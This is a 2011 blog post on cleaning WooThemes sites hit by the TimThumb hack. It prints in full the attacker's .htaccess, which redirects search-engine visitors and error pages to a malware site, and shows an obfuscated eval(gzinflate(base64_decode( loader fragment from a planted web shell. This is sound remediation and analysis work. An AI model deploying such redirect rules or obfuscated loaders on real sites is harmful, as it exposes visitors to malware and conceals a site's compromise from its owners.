How to fix the TimThumb WordPress hack in WooThemes
September 15, 2011
It was a Tuesday night and I was stuck in a hotel overnight as I was working away on a big RES Software project.I then got an email from a friend saying that another business had also been effected by the TimThumb hack; two days earlier I had cleaned up another WooThemes theme that had been attacked by the same bug.
This manifestation of this bug was to redirect the site to another site in Russia.
Uploading a new version of the TimThumb.php file will not fix this issue as the infected files need removing. The Timthumb Vulnerability Scanner will also not remove infected files.
As I had nothing to do I decided to help this business to sort out their issue.
The Problem
When a user visited the site from a search engine they would get redirected to a Russian site. This site then downloaded Malware onto the PC in question. However, as I use Google Chrome, I had already been advised that the redirected site contains Malware.
Remove the affected files
To clean up the site, I first connected via FTP to identify the effected files. I downloaded the entire theme in question and then searched for rogue PHP files.
As a WordPress developer, I Immediately identified couple of odd files in the root of the theme, wp.php, b2.php and wt4.php; which I’ll come onto later.
However, the file causing the redirect had to be related to the “.htaccess” file on the web server. The “.htaccess” file is a that provides a way to make configuration changes on a per-directory basis.
Now on the previous site I’d fixed the “.htaccess” file was present and contained a number of commands.
ErrorDocument 400 http://secure-protect.ru/qwant/index.php
ErrorDocument 401 http://secure-protect.ru/qwant/index.php
ErrorDocument 403 http://secure-protect.ru/qwant/index.php
ErrorDocument 404 http://secure-protect.ru/qwant/index.php
ErrorDocument 500 http://secure-protect.ru/qwant/index.php
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*baidu.* [OR]
RewriteCond %{HTTP_REFERER} .*youtube.* [OR]
RewriteCond %{HTTP_REFERER} .*wikipedia.* [OR]
RewriteCond %{HTTP_REFERER} .*qq.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*bing.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.* [OR]
RewriteCond %{HTTP_REFERER} .*facebook.* [OR]
RewriteCond %{HTTP_REFERER} .*twitter.* [OR]
RewriteCond %{HTTP_REFERER} .*blog.* [OR]
RewriteCond %{HTTP_REFERER} .*live.* [OR]
RewriteCond %{HTTP_REFERER} .*myspace.* [OR]
RewriteCond %{HTTP_REFERER} .*mail.* [OR]
RewriteCond %{HTTP_REFERER} .*yandex.* [OR]
RewriteCond %{HTTP_REFERER} .*rambler.* [OR]
RewriteCond %{HTTP_REFERER} .*ya.* [OR]
RewriteCond %{HTTP_REFERER} .*aport.* [OR]
RewriteCond %{HTTP_REFERER} .*linkedin.* [OR]
RewriteCond %{HTTP_REFERER} .*flickr.*
RewriteRule ^(.*)$ http://secure-protect.ru/qwant/index.php [R=301,L]
</IfModule>
These command essentially redirected the webserver to the Russian site when coming from various locations or when specific error codes occurred. For instance, when a file was not found on the server, a 404 error, the web server redirected.
One problem I had with this server was that I could not see a “.htaccess” file present on this server. But then I remembered. My preferred FTP client, FileZilla, has an option to “Force showing hidden files”.
When the option was activated the file was visible.
Usually I would have set all the permissions on the file to Read-Only or delete the file completely but I knew from previous experience that this file would return.
Infected Files
As mentioned above, I searched the theme for strange looking code in the .php files. I do this typically by searching for the “eval” or “preg_replace” commands which are commonly used to decode obfuscated code.
Interestingly there were a couple of files in the cache of the theme but this one that was of real interest was the file named “wp.php”. Inside this file was code that demonstrated it was trying to hide something.
The code line in question was line 7.
The php command “preg_replace” uses regular expressions to search a string for specific items and replace the text.
The crucial difference with this specific command was the use of the e modifier because this evaluates the result as PHP code.
On initial inspection it was obvious to me, from my early years programming assembler, that the number in question were clearly ASCII codes.
\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\
x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28
Translated, these codes become
eval(gzinflate(base64_decode(‘
The next step was to decode the contents of the file within the “base64_decode” command. I did this by creating a file with the single command into a php file and loaded onto a test server and the downloaded its contents.
Looking through the file quickly it was evident that it contained code designed to perform various tasks on Linux server.
It also had the ability to take remote instructions. It was through this mechanism that the “.htaccess” file kept getting over written.
I loaded the extracted script onto the test server and fired it up and as can be seen below, it allow the operator to perform a number of useful system tasks; including file uploads.
And because this Web Shell runs in a trusted context, it was possible for the remote hacker to update and modify the “.htaccess” file even when deleted or cleaned.
Conclusion
Any service that runs online is always open to attack. The problem is keeping on top of the situation.
WooThemes didn’t help their situation because the warning sent out to its customers were nowhere near obvious or high level enough.
Another issue is that of backup. Whilst it’s good having a backup copy of the site, if the backup contains the infected files then you’re back to square one. At N2N we take snapshots of all the websites we host and keep backups for up to a year.
